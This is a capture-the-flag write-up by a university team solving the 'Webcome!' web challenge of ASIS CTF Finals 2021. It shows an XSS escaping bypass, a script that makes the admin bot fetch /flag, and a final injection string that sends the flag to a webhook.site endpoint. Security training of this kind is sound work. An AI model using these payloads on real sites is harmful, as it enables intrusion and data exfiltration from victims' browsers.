CTF Team at the University of British Columbia

[ASIS CTF Finals 2021] Webcome!

11 Jan 2022 by - Angus

Problem description

This is the problem entitled “Webcome!” from ASIS CTF Finals 2021.

You are given a web page that contains a CAPTCHA and a message saying you can get the flag by solving it and clicking a submit button, but you need a “secret cookie” to actually retrieve the flag. The provided code demonstrates this in its /flag endpoint, which checks that both a secret_token cookie exists and is equal to an internal secret token, and a CAPTCHA token exists and is valid.

As commonly seen in web problems, there’s a “report” function that makes the server navigate to a user-provided URL, which presumably can be utilized in some manner to get the flag. Notably, the secret token is set by the server as a cookie before navigating to the URL. This means we could make the server navigate to the /flag endpoint, but there’s no way of getting it back for us to read it - maybe there’s something else we can do at a different endpoint?

Exploiting the HTML index page

The relevant part of index.html, which is used for the / endpoint, looks like the following:

    <div id="cont">
        <pre id="msg">
        <form action="/flag" method="POST">
            <div class="g-recaptcha" data-sitekey="$SITEKEY$"></div>
            <input id="submitbtn" type="submit" value="Submit">
        msg.innerText = '$MSG$';
    <!-- Report bugs at /report -->

msg is populated by the server in Node like so:

    var msg = req.query.msg
    if(!msg) msg = `Yo you want the flag? solve the captcha and click submit.\\nbtw you can't have the flag if you don't have the secret cookie!`
    msg = msg.toString().toLowerCase().replace(/\'/g,'\\\'').replace('/script','\\/script')

The message can be manually specified as a GET query parameter. There is an attempt made by the server to sanitize the given message, but there’s two ways of bypassing it to execute arbitrary JS:

  1. Every occurrence of ' is replaced with \', which attempts to prevent ending the string assigned to msg.innerText. However, if we make the string begin with \', then the replacement string will become \\'. This ends up escaping the second backslash rather than the single quotation mark, meaning we can now write whatever code we want.
  2. There’s a similar attempt to deter using </script> to end the JS block, but note that the first argument is a string, rather than a regex literal with a global flag. As a result, only the first occurrence of /script is replaced, which allows us to use a second occurrence to exit the script and subsequently begin a new one.

OK, so we can use the report function to make the server navigate to its own index page and execute arbitrary JS. The secret cookie is also included, so if we can just get its value, then we can get in through the front door?

We’re not quite there yet…

The server is actually quite robust when navigating to the user-specified URL:

const browser = await puppeteer.launch({ pipe: true,executablePath: '/usr/bin/google-chrome' })
const page = await browser.newPage()
await page.setCookie({
    name: 'secret_token',
    value: secretToken,
    domain: challDomain,
    httpOnly: true,
    secret: false,
    sameSite: 'Lax'

res.send("Bot is visiting your URL")
    await page.goto(req.body.url,{
        timeout: 2000
    await new Promise(resolve => setTimeout(resolve, 5e3));
} catch(e){}
await page.close()
await browser.close()

Notably, sameSite: 'Lax' means it’ll only include the cookie required to read the flag when navigating to its own domain (see reference here), and httpOnly: true means it won’t make the cookie accessible to JS executing in the page (see reference here).

Thus, the cookie is only valid when we’re navigating within the server’s own endpoints, and we can’t read out its value in our own JS script and throw it out to the outside world.

Getting the flag (and reading it)

However, now that we’re in a spot where we can execute JS in the server context, navigating to the flag seems much more promising. Previously, we couldn’t do much by making the server navigate to the /flag endpoint, but now we can do it ourselves!

This requires a couple steps to get past the CAPTCHA, because the server makes a Google API call to validate the token:

  1. We can actually just solve the CAPTCHA manually in a browser tab and call grecaptcha.getResponse() in the console to get the token. See here for CAPTCHA docs (linked to a place I trust not to change its URL more than Google’s documentation).
  2. If you scroll way up to where the original message sanitization is done, you’ll see that toLowerCase() is called…which is annoying, because it’s extremely likely that the CAPTCHA token contains uppercase letters. Luckily, we can specify the string as Unicode characters (e.g. A becomes \u0041), which doesn’t require uppercase letters.

Once that’s done, we can navigate to /flag, read the response, and then hit some external endpoint to read the flag.

Putting together the final plan

  1. Do the CAPTCHA, get its token, and convert it to Unicode characters.
  2. Create a script that:
    1. Navigates to the flag, with the CAPTCHA token in its request body.
    2. Reads the response.
    3. Navigates to some external endpoint, with the flag in its request body.
  3. Add the necessary string to get past the server sanitization.
  4. Put everything together into one line and use the report function.
  5. Watch the external endpoint for an incoming request with the flag.

Here’s the relevant script:

fetch("http://[server IP]/flag", {
    method: "POST",
    body: "g-recaptcha-response=[snipped for brevity]",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    credentials: "include",
.then(res => res.text())
.then(res => {
    fetch("[some external endpoint]", {
        method: "POST",
        headers: {"Content-Type": "application/json"},
        body: res,

I used webhook.site as the external endpoint, and eventually got an incoming request with the body ASIS{welcomeeeeee-to-asisctf-and-merry-christmas}. (Oh yeah, this CTF ran for 24 hours over Christmas, which was not exactly convenient for our team.)

And just for completeness, here’s the URL I ended up getting the flag with, which contains a ton of extra cruft:';test/script</script><script>fetch("", { method: "POST", body: "g-recaptcha-response=\u0030\u0033\u0041\u0047\u0064\u0042\u0071\u0032\u0035\u0071\u0062\u0036\u0074\u0073\u0037\u007a\u0037\u0041\u0032\u0050\u0043\u002d\u007a\u0036\u0059\u0071\u004a\u0063\u004a\u004e\u002d\u0064\u006d\u0075\u0059\u0076\u0046\u0063\u0049\u006f\u0064\u0071\u0049\u0042\u0075\u0049\u0055\u0068\u0067\u0054\u0062\u004f\u0045\u0033\u0079\u0030\u0079\u004d\u004c\u0050\u0055\u0039\u0078\u0048\u007a\u0038\u004f\u0047\u0042\u0053\u0036\u0047\u0049\u0042\u007a\u004d\u004a\u0067\u0054\u0061\u0037\u0063\u0077\u006d\u0064\u006e\u0069\u002d\u0036\u0047\u006b\u004c\u0055\u0071\u0078\u0030\u0062\u0051\u0031\u0055\u006f\u0051\u004f\u0074\u0057\u0076\u0047\u004d\u007a\u0071\u006c\u0059\u004b\u0053\u0055\u004e\u0070\u0032\u005a\u0067\u004b\u0056\u0057\u0054\u0061\u0039\u0061\u0073\u006a\u0048\u0033\u0056\u0034\u0076\u0039\u006c\u004b\u006d\u0059\u0038\u0038\u0045\u0056\u0033\u005f\u0067\u0046\u006a\u0035\u0042\u0072\u0050\u0039\u006c\u0054\u0069\u0043\u0050\u0052\u0042\u0032\u0061\u0076\u006f\u0044\u0066\u004e\u0073\u0031\u004c\u0053\u0042\u004f\u005a\u005f\u0039\u0039\u0071\u0030\u0033\u002d\u0078\u0032\u0063\u0078\u0037\u0069\u004f\u0039\u0071\u006d\u0077\u0035\u0071\u0066\u0074\u005a\u0042\u005a\u0030\u0076\u0036\u0043\u004b\u0036\u0042\u0062\u0034\u0051\u002d\u006b\u0032\u0053\u0031\u0033\u004b\u0059\u0077\u0051\u0049\u0061\u004a\u0063\u0064\u0056\u0079\u0038\u0074\u0048\u0041\u0070\u0076\u0047\u0031\u0072\u0056\u007a\u0059\u0035\u0070\u0049\u0071\u004d\u0047\u0078\u0052\u0032\u0052\u004b\u0075\u0047\u0058\u004d\u005f\u0066\u0052\u0068\u0039\u0061\u0068\u0064\u004d\u0057\u0066\u0075\u0077\u0054\u0072\u0033\u0063\u0057\u0054\u0078\u0038\u0071\u0034\u0046\u0038\u004b\u0076\u006b\u0069\u006f\u0066\u006c\u0077\u0065\u0041\u0072\u002d\u0064\u0038\u0046\u0048\u0062\u006a\u002d\u0067\u0039\u0034\u0030\u006d\u0068\u0050\u0031\u004e\u004d\u0057\u0048\u0048\u0042\u0054\u0069\u0076\u0044\u0068\u0044\u0067\u0045\u0051\u0044\u0034\u0031\u005a\u006b\u0037\u006d\u0073\u0030\u0050\u0051\u0057\u006b\u006d\u0069\u0062\u0053\u0070\u0064\u0055\u006a\u0057\u0067\u0070\u007a\u004f\u0069\u006e\u0063\u0037\u0065\u0047\u0039\u002d\u0035\u0039\u0035\u0078\u005a\u0066\u0050\u0033\u0079\u0053\u0062\u0049\u0063\u0036\u004d\u0044\u0064\u0077\u0071\u0030\u0062\u0053\u0068\u005a\u0072\u0030\u006f\u0064\u004a\u0067\u007a\u0076\u0054\u0036\u0076\u0067\u0065\u005f\u0066\u004d\u004a\u002d\u0043\u0045\u0038\u0038\u0054\u0047\u006d\u0067\u0050\u005a\u0073\u0076\u0037\u0047\u004f\u0030\u004e\u0050\u0035\u0054\u0066\u006a\u0034\u004f\u007a\u0039\u0046\u002d\u0035\u0065\u0069\u0072\u0069\u0042\u0038\u0050\u004a\u0059\u006d\u0050\u004a\u0048\u0053\u0034\u0071\u005a\u002d\u0079\u0067\u0039\u004f\u0073\u0073\u0072\u004c\u0066\u0066\u004d\u007a\u0073\u004c\u0039\u0053\u0034\u0079\u0044", headers: {"Content-Type": "application/x-www-form-urlencoded" }, credentials: "include" }).then(res => res.text()).then( res => { fetch("http://webhook.site/37af6202-11a5-447d-881e-7a2be9985895", {  method: "POST", headers: {"Content-Type": "application/json", "test": res}, body: res,}).then(res => {  console.log("Request complete! response:", res);}); });</script>